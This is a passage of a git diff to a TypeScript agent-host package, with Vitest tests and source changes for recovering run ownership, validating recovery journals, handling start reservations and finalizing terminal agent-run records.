+    expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(replacement);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(await fixture.resources.owner('run', 'acme_run')).toEqual(
+      HUMAN_OWNER,
+    );
+    expect(outcome).toBeInstanceOf(Error);
+  });
+
+  it.each([
+    true,
+    false,
+  ])('retires the H-reserved run owner before journal lifecycle completion (threaded=%s)', async (threaded) => {
+    const fixture = await hostR1AgentFixture({
+      mode: 'fenced',
+      threaded,
+      provenance: 'modern',
+      status: 'cancelled',
+      journal: true,
+      lifecycle: true,
+    });
+    await fixture.host.recoverOwnership(fixture.scope);
+    expect(
+      fixture.sql
+        .prepare(
+          "SELECT * FROM flowsafe_resource_owners WHERE resource_kind = 'run'",
+        )
+        .all(),
+    ).toEqual([]);
+    expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false);
+    expect(await fixture.read()).toMatchObject({
+      requestContext: {
+        'flowsafe.runLifecycle': {
+          terminal: { cleanupCompletedAt: expect.any(Number) },
+        },
+      },
+    });
+  });
+});
+
+describe('FS8 D3 host R1 keyed finalization preflight', () => {
+  it.each([
+    true,
+    false,
+  ])('retains the prepared nonterminal start when the reservation store disappears at the bridge (threaded=%s)', async (threaded) => {
+    const { StartIdempotencyStore } = await import(
+      '../do-runner/start-idempotency.js'
+    );
+    const reservations = new StartIdempotencyStore(
+      sqliteUnitDatabase(
+        openSqlite(),
+      ) as import('../do-runner/start-idempotency.js').StartIdempotencyDatabase,
+    );
+    const reserved = await reservations.reserve({
+      key: 'finalizer-key',
+      owner: HUMAN_OWNER,
+      targetKind: 'agent',
+      targetId: 'writer',
+      threadId: 'acme_thread',
+      mintRunId: () => 'acme_run',
+    });
+    const claim = await reservations.claimReservation(reserved.reservation);
+    if (!claim) throw new Error('missing finalizer claim');
+    const fixture = harness(['writer'], {
+      runtime: { startIdempotency: reservations },
+    });
+    fixture.setSummary(
+      {
+        runId: 'acme_run',
+        status: 'suspended',
+        requestedBy: 'operator-1',
+        requestedByKind: 'human',
+      },
+      false,
+    );
+    mocked.stream.mockImplementation(async () => {
+      Object.defineProperty(fixture.scope.init.runtime, 'startIdempotency', {
+        value: undefined,
+        configurable: true,
+      });
+      return {};
+    });
+    const settle = vi.spyOn(fixture.resources, 'settleReservation');
+    const outcome = await fixture.host
+      .start(fixture.scope, {
+        ...C_START_INPUT,
+        threaded,
+        idempotencyKey: claim.key,
+        startReservation: claim,
+      })
+      .catch((error: unknown) => error);
+    expect(settle).not.toHaveBeenCalled();
+    expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toMatchObject({
+      phase: 'prepared-unfenced',
+      startReservation: claim,
+    });
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(fixture.alarmAt()).toBeDefined();
+    expect(await reservations.readForAdmission(claim.key)).toEqual(claim);
+    expect(outcome).toMatchObject({ status: 503 });
+  });
+});
+
+describe('FS8 D3 host R1 legacy requester and source owner', () => {
+  it('releases the actual owner while retiring the captured canonical record after a v1 requester change', async () => {
+    const fixture = await hostR1AgentFixture({ provenance: 'v1' });
+    fixture.snapshot.requestContext = {
+      ...fixture.snapshot.requestContext,
+      'flowsafe.runProvenance': {
+        version: 1,
+        attemptToken: 'resumed-legacy-leg',
+        requestedBy: 'reviewer-3',
+        requestedByKind: 'human',
+        resumeCounts: [],
+      },
+    };
+    await fixture.persist();
+    const owner = { kind: 'human' as const, id: 'source-owner' };
+    await fixture.resources.release('run', 'acme_run', HUMAN_OWNER);
+    await fixture.resources.claim('run', 'acme_run', owner);
+    const release = vi.spyOn(fixture.resources, 'release');
+    const response = await fixture.host.route(
+      hostR1AgentRequest('/terminate'),
+      { ...fixture.scope, principal: { ...owner, role: 'operator' } },
+    );
+    expect(await fixture.resources.owner('run', 'acme_run')).toBeUndefined();
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false);
+    expect(release).toHaveBeenCalledWith('run', 'acme_run', owner);
+    expect(response?.status).toBe(200);
+  });
+});
+
+describe('FS8 D3 host R1 legacy cleanup wait guards', () => {
+  it.each([
+    'dispatch',
+    'owner release',
+    'completion',
+  ] as const)('retains the canonical record when a journal appears during legacy %s', async (boundary) => {
+    const fixture = await hostR1AgentFixture({
+      provenance: 'absent',
+      status: 'cancelled',
+      lifecycle: true,
+    });
+    const record = structuredClone(fixture.state.get(TEST_RUN_RECORD_KEY));
+    const journal = { version: 1 };
+    const replace = () => fixture.state.set(TEST_OWNER_RECOVERY_KEY, journal);
+    fixture.dispatch.mockImplementation(async () => {
+      if (boundary === 'dispatch') replace();
+    });
+    const nativeRelease = fixture.resources.release.bind(fixture.resources);
+    const release = vi
+      .spyOn(fixture.resources, 'release')
+      .mockImplementation(async (...args) => {
+        const result = await nativeRelease(...args);
+        if (boundary === 'owner release') replace();
+        return result;
+      });
+    const nativeComplete = fixture.app.runtime.completeTerminalCleanup.bind(
+      fixture.app.runtime,
+    );
+    const complete = vi
+      .spyOn(fixture.app.runtime, 'completeTerminalCleanup')
+      .mockImplementation(async (...args) => {
+        const result = await nativeComplete(...args);
+        if (boundary === 'completion') replace();
+        return result;
+      });
+    const outcome = await fixture.host
+      .route(hostR1AgentRequest('/terminate'), fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.state.get(TEST_RUN_RECORD_KEY)).toEqual(record);
+    expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(journal);
+    expect(await fixture.resources.owner('run', 'acme_run')).toEqual(
+      boundary === 'dispatch' ? HUMAN_OWNER : undefined,
+    );
+    expect(fixture.dispatch).toHaveBeenCalledOnce();
+    expect(release).toHaveBeenCalledTimes(boundary === 'dispatch' ? 0 : 1);
+    expect(complete).toHaveBeenCalledTimes(boundary === 'completion' ? 1 : 0);
+    expect(outcome).toBeInstanceOf(Error);
+    expect(doErrorResponse(outcome).status).toBe(503);
+  });
+
+  it.each([
+    'journal',
+    'record',
+    'binding',
+    'active execution',
+  ] as const)('preserves ownership after approval wait changes cleanup authority (%s)', async (change) => {
+    const fixture = await hostR1AgentFixture({ provenance: 'absent' });
+    let replacement: unknown;
+    fixture.approvals.list.mockImplementationOnce(async () => {
+      if (change === 'journal') {
+        replacement = { version: 1 };
+        fixture.state.set(TEST_OWNER_RECOVERY_KEY, replacement);
+      }
+      if (change === 'record') {
+        replacement = {
+          ...(fixture.state.get(TEST_RUN_RECORD_KEY) as object),
+          principal: { ...fixture.scope.principal, role: 'admin' },
+        };
+        fixture.state.set(TEST_RUN_RECORD_KEY, replacement);
+      }
+      if (change === 'binding') {
+        replacement = {
+          version: 1,
+          agentId: 'foreign',
+          resourceId: RESOURCE_ID,
+        };
+        fixture.state.set(THREAD_BINDING_KEY, replacement);
+      }
+      if (change === 'active execution')
+        vi.spyOn(fixture.app.runtime, 'isRunActive').mockReturnValue(true);
+      return [];
+    });
+    const release = vi.spyOn(fixture.resources, 'release');
+    const complete = vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup');
+    const outcome = await fixture.host
+      .route(hostR1AgentRequest('/terminate'), fixture.scope)
+      .catch((error: unknown) => error);
+    expect(await fixture.resources.owner('run', 'acme_run')).toEqual(
+      HUMAN_OWNER,
+    );
+    expect(release).not.toHaveBeenCalled();
+    expect(complete).not.toHaveBeenCalled();
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    if (change === 'journal')
+      expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(replacement);
+    if (change === 'record')
+      expect(fixture.state.get(TEST_RUN_RECORD_KEY)).toEqual(replacement);
+    if (change === 'binding')
+      expect(fixture.state.get(THREAD_BINDING_KEY)).toEqual(replacement);
+    expect(fixture.approvals.list).toHaveBeenCalledOnce();
+    expect(outcome).toBeInstanceOf(Error);
+  });
+});
diff --git a/packages/flowsafe/src/agent-host/thread-host.ts b/packages/flowsafe/src/agent-host/thread-host.ts
index 19212d2b..37bc08fa 100644
--- a/packages/flowsafe/src/agent-host/thread-host.ts
+++ b/packages/flowsafe/src/agent-host/thread-host.ts
@@ -1,20 +1,27 @@
 // SPDX-License-Identifier: Apache-2.0
 
 import type { Agent } from '@mastra/core/agent';
-import { AGENT_STREAM_TOPIC } from '@mastra/core/agent/durable';
+import {
+  AGENT_STREAM_TOPIC,
+  globalRunRegistry,
+} from '@mastra/core/agent/durable';
 import { Mastra } from '@mastra/core/mastra';
 import type { MastraCompositeStore } from '@mastra/core/storage';
 import { isPrincipalPermissions } from '@proofoftech/breakwater/rbac';
-
+import {
+  AgentRunSelectorMismatchError,
+  type AuthoritativeAgentStartState,
+  type LegacyAgentRunState,
+} from '../agent-runner/durable-agent-runner.js';
 import {
   AGENT_ENTRY_PATHS,
   AGENT_RUN_STORAGE_KEY_PREFIX,
   type AgentEntryPath,
   type AgentRunRecord,
+  type AgentStartAuthority,
   type AgentThreadBinding,
   bindAgentThread,
   createFlowsafeDurableAgent,
-  DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
   deleteAgentRunRecord,
   deleteAgentThreadBinding,
   type FlowsafeDurableAgent,
@@ -39,8 +46,18 @@ import {
 } from '../approval-api/index.js';
 import {
   type AutomatedExecutionPrincipal,
+  assertExecutionPrincipal,
   isExecutionPrincipalId,
 } from '../approval-api/principal.js';
+import {
+  type D1RunExecutionIdentity,
+  ExecutionFenceUnreadableError,
+  normalizeD1RunExecutionIdentity,
+  normalizeMutationEpoch,
+  normalizeRunExecutionIdentity,
+  type RunExecutionIdentity,
+  RunStartPendingError,
+} from '../do-runner/execution-admission.js';
 import {
   DoStatusError,
   isPathSafeId,
@@ -53,13 +70,32 @@ import {
   SUSPENSION_TIMEOUT_RESUME_KEY,
   type ThreadScope,
 } from '../do-runner/index.js';
+import { isDefinitiveInitialAdmissionRefusal } from '../do-runner/initial-admission-refusal.js';
 import { mastraRegistryEntries } from '../do-runner/mastra-registry.js';
+import {
+  lifecycleFromRequestContext,
+  terminalCleanupFor,
+} from '../do-runner/run-lifecycle.js';
+import { isTerminalRunStatus } from '../do-runner/run-terminal-state.js';
+import type {
+  RecoveredStart,
+  RunLifecycleTransitionResult,
+} from '../do-runner/runtime.js';
+import {
+  captureReservation,
+  type StartReservationReading,
+  sameReservationIdentity,
+} from '../do-runner/start-reservation-contract.js';
+import { persistedStartRecord } from '../host-kit/do-response.js';
 import {
   abandonApprovalsForRun,
   reconcileApprovalsForSummary,
 } from '../host-kit/index.js';
 import { createAgentModuleCatalog } from './catalog.js';
-import { AGENT_HOST_ROUTE_PREFIX } from './thread-topology.js';
+import {
+  AGENT_HOST_ROUTE_PREFIX,
+  publicAgentRunEnvelope,
+} from './thread-topology.js';
 import {
   createTrustedAgentRequestContext,
   deriveTrustedAgentContext,
@@ -150,6 +186,7 @@ export interface ThreadAgentHostOptions {
 }
 
 export interface ThreadAgentStartInput {
+  readonly startReservation?: StartReservationReading;
   agentId: string;
   threadId: string;
   resourceId: string;
@@ -224,10 +261,7 @@ export interface ThreadAgentHost {
     scope: ThreadScope,
     input: { agentId: string; resourceId: string; runId: string },
   ): Promise<RunSummary | undefined>;
-  recoverOwnership(
-    runtime: ThreadScope['init']['runtime'],
-    threadId: string,
-  ): Promise<void>;
+  recoverOwnership(scope: AgentThreadInstanceScope): Promise<void>;
   route(request: Request, scope: ThreadScope): Promise<Response | null>;
 }
 
@@ -274,22 +308,11 @@ async function objectBody(request: Request): Promise<Record<string, unknown>> {
   return value as Record<string, unknown>;
 }
 
-const TERMINAL_RUN_STATUSES: readonly RunSummary['status'][] = [
-  'success',
-  'failed',
-  'tripwire',
-  'canceled',
-  'bailed',
-  'skipped',
-  'cancelled',
-  'timed_out',
-];
-
 const AGENT_OWNER_RECOVERY_PREFIX = 'flowsafe:agent-owner-recovery:v1:';
 const AGENT_OWNER_RECOVERY_DELAY_MS = 60_000;
 
-interface AgentOwnerRecovery {
-  version: 1;
+type AgentOwnerRecovery = {
+  version: 2;
   agentId: string;
   threadId: string;
   resourceId: string;
@@ -298,10 +321,58 @@ interface AgentOwnerRecovery {
   token: string;
   threaded: boolean;
   bindingPreexisting: boolean;
+  runRecord: AgentRunRecord;
+  startReservation?: StartReservationReading;
+} & (
+  | { phase: 'preparing'; execution?: never }
+  | { phase: 'prepared'; execution: D1RunExecutionIdentity }
+  | { phase: 'prepared-unfenced'; execution: RunExecutionIdentity }
+);
+
+function sameRunRecord(
+  actual: AgentRunRecord | undefined,
+  expected: AgentRunRecord,
+): boolean {
+  return (
+    actual !== undefined &&
+    actual.version === expected.version &&
+    actual.agentId === expected.agentId &&
+    actual.originEntryPath === expected.originEntryPath &&
+    samePrincipal(actual.principal, expected.principal)
+  );
 }
 
-function isTerminalRunStatus(status: RunSummary['status']): boolean {
-  return TERMINAL_RUN_STATUSES.includes(status);
+function sameOwnerRecovery(
+  actual: AgentOwnerRecovery,
+  expected: AgentOwnerRecovery,
+): boolean {
+  const claim = actual.startReservation,
+    wanted = expected.startReservation;
+  return (
+    actual.version === expected.version &&
+    actual.phase === expected.phase &&
+    actual.token === expected.token &&
+    actual.agentId === expected.agentId &&
+    actual.threadId === expected.threadId &&
+    actual.resourceId === expected.resourceId &&
+    actual.runId === expected.runId &&
+    actual.owner.kind === expected.owner.kind &&
+    actual.owner.id === expected.owner.id &&
+    actual.threaded === expected.threaded &&
+    actual.bindingPreexisting === expected.bindingPreexisting &&
+    sameRunRecord(actual.runRecord, expected.runRecord) &&
+    actual.execution?.tablePrefix === expected.execution?.tablePrefix &&
+    actual.execution?.workflowId === expected.execution?.workflowId &&
+    actual.execution?.runId === expected.execution?.runId &&
+    actual.execution?.startToken === expected.execution?.startToken &&
+    (claim === undefined
+      ? wanted === undefined
+      : wanted !== undefined &&
+        sameReservationIdentity(claim, wanted) &&
+        claim.state === wanted.state &&
+        claim.updatedAt === wanted.updatedAt &&
+        claim.binding.kind === wanted.binding.kind)
+  );
 }
 
 function entryPath(value: unknown): AgentEntryPath {
@@ -508,22 +579,13 @@ export function createThreadAgentHost(
   const withBindingLock = createFifoLock();
   const withDispatchLock = createFifoLock();
   const withRecoveryLock = createFifoLock();
-  /**
-   * Run ids this object is currently starting — the liveness half of the
-   * idempotent-start replay decision, and the reason a retried agent start can
-   * tell "the first one is still working" from "the first one died holding the
-   * claim" without a timer.
-   *
-   * In memory, never stored: liveness is a property of an isolate that is
-   * running code, so the honest answer after an eviction is `false`, and any
-   * durable proxy would keep saying `true` for a run nothing is executing.
-   * Scoped to this host instance, which `instanceScopeFor` already pins to one
-   * Durable Object — the same object an agent run is bound to for its whole
-   * life, so this object's answer is the only one there is.
-   */
+  /** Claim durability does not establish current run liveness. */
   const startsInFlight = new Set<string>();
+  const unwoundExecutions = new WeakSet<TrustedAgentExecution>();
 
-  const instanceScopeFor = (scope: ThreadScope): AgentThreadInstanceScope => {
+  const instanceScopeFor = (
+    scope: AgentThreadInstanceScope,
+  ): AgentThreadInstanceScope => {
     if (stableScope) {
       if (
         stableScope.threadId !== scope.threadId ||
@@ -545,7 +607,7 @@ export function createThreadAgentHost(
   };
 
   const catalogFor = async (
-    scope: ThreadScope,
+    scope: AgentThreadInstanceScope,
   ): Promise<AgentModuleCatalog> => {
     catalogPromise ??= Promise.resolve(
       options.buildModules(instanceScopeFor(scope)),
@@ -558,7 +620,9 @@ export function createThreadAgentHost(
     return catalogPromise;
   };
 
-  const runtimeFor = async (scope: ThreadScope) => {
+  const runtimeFor = async (scope: AgentThreadInstanceScope) => {
+    instanceScopeFor(scope);
+    const catalog = await catalogFor(scope);
     if (runtime) {
       if (runtime.scopeRuntime !== scope.init.runtime) {
         throw new Error(
@@ -567,7 +631,6 @@ export function createThreadAgentHost(
       }
       return runtime;
     }
-    const catalog = await catalogFor(scope);
     const mastra = new Mastra({
       storage: options.storage(instanceScopeFor(scope)),
       // Preserve ordinary key lookup, but remap Object.prototype collisions in
@@ -744,31 +807,39 @@ export function createThreadAgentHost(
     readAgentRunRecord(options.stateStorage(), runId);
 
   const findBlockingRun = async (
-    scopeRuntime: ThreadScope['init']['runtime'],
+    scope: AgentThreadInstanceScope,
   ): Promise<BlockingAgentRun | undefined> => {
     const storage = options.stateStorage();
     const records = await storage.list<unknown>({
       prefix: AGENT_RUN_STORAGE_KEY_PREFIX,
     });
+    if (records.size === 0) return undefined;
     for (const key of records.keys()) {
       const runId = key.slice(AGENT_RUN_STORAGE_KEY_PREFIX.length);
       const record = await readRun(runId);
       if (!record) continue;
-      const summary = await scopeRuntime.status(
-        DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
-        runId,
+      if (executions.has(runId)) return { runId, principal: record.principal };
+      const state = await selectedAgentState(
+        scope,
+        {
+          agentId: record.agentId,
+          resourceId: resourceIdFromKey(scope.threadId),
+          runId,
+        },
+        { includeLegacy: true },
       );
       if (
-        executions.has(runId) ||
-        (summary !== null && !isTerminalRunStatus(summary.status))
-      ) {
+        !state ||
+        state.kind === 'initial' ||
+        !isTerminalRunStatus(state.summary.status) ||
+        (state.kind === 'legacy' && !isTerminalRunStatus(state.snapshot.status))
+      )
         return { runId, principal: record.principal };
-      }
-      const recovery = await storage.get<AgentOwnerRecovery>(
-        AGENT_OWNER_RECOVERY_PREFIX + runId,
+      const recovery = await storage.get(ownerRecoveryKey(runId));
+      if (recovery !== undefined) return { runId, principal: record.principal };
+      await withRecoveryLock(() =>
+        finalizeTerminalRecord(scope, runId, record, state),
       );
-      if (recovery) return { runId, principal: record.principal };
-      await deleteAgentRunRecord(storage, runId);
     }
     return undefined;
   };
@@ -874,8 +945,16 @@ export function createThreadAgentHost(
     withRecoveryLock(async () => {
       const storage = options.stateStorage();
       const key = ownerRecoveryKey(recovery.runId);
-      const current = await storage.get<AgentOwnerRecovery>(key);
-      if (current?.token === recovery.token) await storage.delete(key);
+      const current = await storage.get(key);
+      if (
+        current === undefined ||
+        !sameOwnerRecovery(
+          validateOwnerRecovery(recovery.threadId, key, current),
+          recovery,
+        )
+      )
+        throw new Error('agent owner recovery changed');
+      await storage.delete(key);
     });
 
   const releaseEphemeralOwnerClaims = async (
@@ -899,77 +978,507 @@ export function createThreadAgentHost(
     ]);
   };
 
-  const finalizeOwnerRecovery = (
+  const validateOwnerRecovery = (
+    threadId: string,
+    key: string,
+    value: unknown,
+  ): AgentOwnerRecovery => {
+    try {
+      const stored = persistedStartRecord(value);
+      if (
+        stored.version !== 2 ||
+        stored.threadId !== threadId ||
+        !isPathSafeId(stored.agentId) ||
+        !isPathSafeId(stored.threadId) ||
+        !isPathSafeId(stored.resourceId) ||
+        stored.resourceId !== resourceIdFromKey(threadId) ||
+        !isPathSafeId(stored.runId) ||
+        !isPathSafeId(stored.token) ||
+        ownerRecoveryKey(stored.runId) !== key ||
+        typeof stored.threaded !== 'boolean' ||
+        typeof stored.bindingPreexisting !== 'boolean'
+      )
+        throw new Error('invalid journal');
+      const owner = resourceOwner(persistedStartRecord(stored.owner));
+      const rawRecord = persistedStartRecord(stored.runRecord);
+      if (rawRecord.version !== 2 || rawRecord.agentId !== stored.agentId)
+        throw new Error('invalid run record');
+      const runRecord: AgentRunRecord = {
+        version: 2,
+        agentId: stored.agentId,
+        principal: assertExecutionPrincipal(
+          persistedStartRecord(rawRecord.principal),
+          'stored agent run',
+        ),
+        originEntryPath: entryPath(rawRecord.originEntryPath),
+      };
+      const rawClaim =
+        stored.startReservation === undefined
+          ? undefined
+          : persistedStartRecord(stored.startReservation);
+      const claim =
+        rawClaim === undefined
+          ? undefined
+          : captureReservation(
+              {
+                ...rawClaim,
+                owner: persistedStartRecord(rawClaim.owner),
+                binding: persistedStartRecord(rawClaim.binding),
+              } as unknown as StartReservationReading,
+              'started',
+            );
+      if (
+        claim &&
+        (claim.targetKind !== 'agent' ||
+          claim.targetId !== stored.agentId ||
+          claim.threadId !== threadId ||
+          claim.runId !== stored.runId ||
+          claim.owner.kind !== runRecord.principal.kind ||
+          claim.owner.id !== runRecord.principal.id)
+      )
+        throw new Error('invalid start claim');
+      const base = {
+        version: 2 as const,
+        agentId: stored.agentId,
+        threadId,
+        resourceId: stored.resourceId,
+        runId: stored.runId,
+        token: stored.token,
+        owner,
+        threaded: stored.threaded,
+        bindingPreexisting: stored.bindingPreexisting,
+        runRecord,
+        ...(claim ? { startReservation: claim } : {}),
+      };
+      if (stored.phase === 'preparing' && !Object.hasOwn(stored, 'execution'))
+        return { ...base, phase: 'preparing' };
+      if (stored.phase !== 'prepared' && stored.phase !== 'prepared-unfenced')
+        throw new Error('invalid phase');
+      const raw = persistedStartRecord(stored.execution);
+      const execution = normalizeRunExecutionIdentity(raw);
+      if (
+        execution.tablePrefix !== raw.tablePrefix ||
+        execution.runId !== stored.runId
+      )
+        throw new Error('invalid execution');
+      return stored.phase === 'prepared'
+        ? {
+            ...base,
+            phase: 'prepared',
+            execution: normalizeD1RunExecutionIdentity(execution),
+          }
+        : { ...base, phase: 'prepared-unfenced', execution };
+    } catch {
+      throw new Error('stored agent owner recovery is malformed');
+    }
+  };
+
+  const prepareOwnerRecovery = async (
+    scope: AgentThreadInstanceScope,
     recovery: AgentOwnerRecovery,
-    summary: RunSummary,
-  ): Promise<void> =>
-    withRecoveryLock(async () => {
-      const storage = options.stateStorage();
-      await options.resourceAccess().settleReservation(recovery.token, []);
-      if (!recovery.threaded && !isTerminalRunStatus(summary.status)) {
-        await ensureOwnerRecoveryAlarm(storage);
-        return;
-      }
-      if (!recovery.threaded) {
-        await releaseEphemeralOwnerClaims(recovery);
+    supplied: RunExecutionIdentity,
+  ): Promise<AgentOwnerRecovery> => {
+    const identity = normalizeRunExecutionIdentity(supplied);
+    const currentRuntime = await runtimeFor(scope);
+    const durable = currentRuntime.agents.get(recovery.agentId);
+    if (
+      !durable ||
+      identity.workflowId !== durable.getWorkflow().id ||
+      identity.runId !== recovery.runId
+    )
+      throw new Error('prepared agent identity mismatch');
+    const prepared: AgentOwnerRecovery = scope.init.runtime.executionFence
+      ? {
+          ...recovery,
+          phase: 'prepared',
+          execution: normalizeD1RunExecutionIdentity(identity),
+        }
+      : { ...recovery, phase: 'prepared-unfenced', execution: identity };
+    return withRecoveryLock(async () => {
+      const storage = options.stateStorage(),
+        key = ownerRecoveryKey(recovery.runId);
+      const current = validateOwnerRecovery(
+        scope.threadId,
+        key,
+        await storage.get(key),
+      );
+      if (sameOwnerRecovery(current, prepared)) return prepared;
+      if (
+        current.phase !== 'preparing' ||
+        !sameOwnerRecovery(current, recovery)
+      )
+        throw new Error('agent owner recovery changed');
+      try {
+        await storage.put(key, prepared);
+      } catch (error) {
+        const reread = await storage.get(key);
+        if (
+          reread === undefined ||
+          !sameOwnerRecovery(
+            validateOwnerRecovery(scope.threadId, key, reread),
+            prepared,
+          )
+        )
+          throw error;
       }
-      const key = ownerRecoveryKey(recovery.runId);
-      const current = await storage.get<AgentOwnerRecovery>(key);
-      if (current?.token === recovery.token) await storage.delete(key);
+      return prepared;
     });
+  };
 
-  const finalizeOwnerRecoveryBestEffort = async (
-    recovery: AgentOwnerRecovery,
-    summary: RunSummary,
-  ): Promise<void> => {
+  const workflowIdFor = async (
+    scope: AgentThreadInstanceScope,
+    agentId: string,
+  ): Promise<string> => {
+    const current = await runtimeFor(scope);
+    const durable = current.agents.get(agentId);
+    if (!durable) throw new AgentHostRequestError(404, 'agent not found');
+    return durable.getWorkflow().id;
+  };
+
+  type NormalAgentRunState = AuthoritativeAgentStartState | LegacyAgentRunState;
+
+  async function selectedAgentState(
+    scope: AgentThreadInstanceScope,
+    ref: { agentId: string; resourceId: string; runId: string },
+    readOptions: { readonly includeLegacy: true },
+  ): Promise<NormalAgentRunState | null>;
+  async function selectedAgentState(
+    scope: AgentThreadInstanceScope,
+    ref: { agentId: string; resourceId: string; runId: string },
+  ): Promise<AuthoritativeAgentStartState | null>;
+  async function selectedAgentState(
+    scope: AgentThreadInstanceScope,
+    ref: { agentId: string; resourceId: string; runId: string },
+    readOptions?: { readonly includeLegacy: true },
+  ): Promise<NormalAgentRunState | null> {
+    const includeLegacy = readOptions?.includeLegacy === true;
+    if (ref.resourceId !== resourceIdFromKey(scope.threadId))
+      throw new AgentHostRequestError(404, 'run not found');
+    const current = await runtimeFor(scope);
+    const durable = current.agents.get(ref.agentId);
+    if (!current.catalog.get(ref.agentId) || !durable)
+      throw new AgentHostRequestError(404, 'agent not found');
+    if (includeLegacy)
+      return durable.authoritativeAgentStartState(
+        scope.init.runtime,
+        scope.threadId,
+        ref.runId,
+        { includeLegacy: true },
+      );
+    return durable.authoritativeAgentStartState(
+      scope.init.runtime,
+      scope.threadId,
+      ref.runId,
+    );
+  }
+
+  const publicAgentState = async (
+    scope: AgentThreadInstanceScope,
+    ref: { agentId: string; resourceId: string; runId: string },
+  ): Promise<NormalAgentRunState | null> => {
     try {
-      await finalizeOwnerRecovery(recovery, summary);
+      return await selectedAgentState(scope, ref, { includeLegacy: true });
     } catch (error) {
-      console.error('agent owner recovery cleanup failed', error);
-      try {
-        await withRecoveryLock(() =>
-          ensureOwnerRecoveryAlarm(options.stateStorage()),
-        );
-      } catch (alarmError) {
-        console.error('agent owner recovery rearm failed', alarmError);
-      }
+      if (error instanceof AgentRunSelectorMismatchError)
+        throw new AgentHostRequestError(404, 'run not found');
+      throw error;
     }
   };
 
-  const validateOwnerRecovery = (
-    threadId: string,
-    key: string,
-    stored: AgentOwnerRecovery,
-  ): void => {
+  const matchRecoveryState = (
+    recovery: AgentOwnerRecovery,
+    state: AuthoritativeAgentStartState | null,
+  ): AuthoritativeAgentStartState => {
+    const expected = recovery.execution;
     if (
-      stored?.version !== 1 ||
-      stored.threadId !== threadId ||
-      !isPathSafeId(stored.agentId) ||
-      !isPathSafeId(stored.resourceId) ||
-      !isPathSafeId(stored.runId) ||
-      !isPathSafeId(stored.token) ||
-      ownerRecoveryKey(stored.runId) !== key ||
-      typeof stored.threaded !== 'boolean' ||
-      typeof stored.bindingPreexisting !== 'boolean'
-    ) {
-      throw new Error('stored agent owner recovery is malformed');
-    }
-    resourceOwner(stored.owner);
+      !state ||
+      !expected ||
+      state.execution.tablePrefix !== expected.tablePrefix ||
+      state.execution.workflowId !== expected.workflowId ||
+      state.execution.runId !== expected.runId ||
+      state.execution.startToken !== expected.startToken ||
+      state.threaded !== recovery.threaded ||
+      state.execution.target.kind !== 'agent' ||
+      state.execution.target.id !== recovery.agentId ||
+      state.execution.target.threadId !== recovery.threadId ||
+      state.execution.owner.kind !== recovery.runRecord.principal.kind ||
+      state.execution.owner.id !== recovery.runRecord.principal.id
+    )
+      throw new Error('agent owner recovery does not match the execution');
+    return state;
   };
 
-  const finalizeTerminalAgentState = async (
-    threadId: string,
+  const assertRecoveryCurrent = async (
+    recovery: AgentOwnerRecovery,
+  ): Promise<void> => {
+    const key = ownerRecoveryKey(recovery.runId),
+      current = await options.stateStorage().get(key);
+    if (
+      current === undefined ||
+      !sameOwnerRecovery(
+        validateOwnerRecovery(recovery.threadId, key, current),
+        recovery,
+      )
+    )
+      throw new Error('agent owner recovery changed');
+  };
+
+  const assertLegacyTerminalCurrent = async (
+    scope: AgentThreadInstanceScope,
+    ref: { agentId: string; resourceId: string; runId: string },
+    state: LegacyAgentRunState,
+    expectedRecord: AgentRunRecord | undefined,
+  ): Promise<void> => {
+    if (
+      !isTerminalRunStatus(state.snapshot.status) ||
+      !isTerminalRunStatus(state.summary.status) ||
+      state.address.runId !== ref.runId ||
+      record(state.snapshot.context?.input)?.agentId !== ref.agentId
+    )
+      throw new ExecutionFenceUnreadableError(
+        'legacy run cleanup is unresolved',
+      );
+    const quiescent = () =>
+      !executions.has(ref.runId) &&
+      !scope.init.runtime.isRunActive(state.address.workflowId, ref.runId);
+    if (!quiescent()) throw new RunStartPendingError();
+    const [binding, current, journal] = await Promise.all([
+      readBinding(),
+      readRun(ref.runId),
+      options.stateStorage().get(ownerRecoveryKey(ref.runId)),
+    ]);
+    if (journal !== undefined)
+      throw new ExecutionFenceUnreadableError(
+        'legacy run cleanup is unresolved',
+      );
+    const bindingMatches =
+      binding?.agentId === ref.agentId && binding.resourceId === ref.resourceId;
+    if ((state.threaded && !bindingMatches) || (!state.threaded && binding))
+      throw new AgentHostRequestError(404, 'run not found');
+    if (
+      current !== undefined &&
+      (expectedRecord === undefined || !sameRunRecord(current, expectedRecord))
+    )
+      throw new Error('agent run record changed');
+    if (!quiescent()) throw new RunStartPendingError();
+  };
+
+  const finalizeTerminalRecord = async (
+    scope: AgentThreadInstanceScope,
     runId: string,
+    expected: AgentRunRecord,
+    state: NormalAgentRunState,
+    ownFrame?: TrustedAgentExecution,
+  ): Promise<void> => {
+    if (state.kind === 'initial' || !isTerminalRunStatus(state.summary.status))
+      throw new RunStartPendingError();
+    if (state.kind === 'legacy') {
+      const ref = {
+        agentId: expected.agentId,
+        resourceId: resourceIdFromKey(scope.threadId),
+        runId,
+      };
+      await assertLegacyTerminalCurrent(scope, ref, state, expected);
+      const current = await readRun(runId);
+      if (current !== undefined && !sameRunRecord(current, expected))
+        throw new Error('agent run record changed');
+      await assertLegacyTerminalCurrent(scope, ref, state, expected);
+      if (current) await deleteAgentRunRecord(options.stateStorage(), runId);
+      return;
+    }
+    if (
+      state.execution.target.kind !== 'agent' ||
+      state.execution.target.id !== expected.agentId ||
+      state.execution.target.threadId !== scope.threadId ||
+      state.execution.owner.kind !== expected.principal.kind ||
+      state.execution.owner.id !== expected.principal.id
+    )
+      throw new ExecutionFenceUnreadableError(
+        'run start recovery is unresolved',
+      );
+    const quiescent = (): boolean => {
+      const active = executions.get(runId);
+      return (
+        (active === undefined ||
+          (active === ownFrame && unwoundExecutions.has(active))) &&
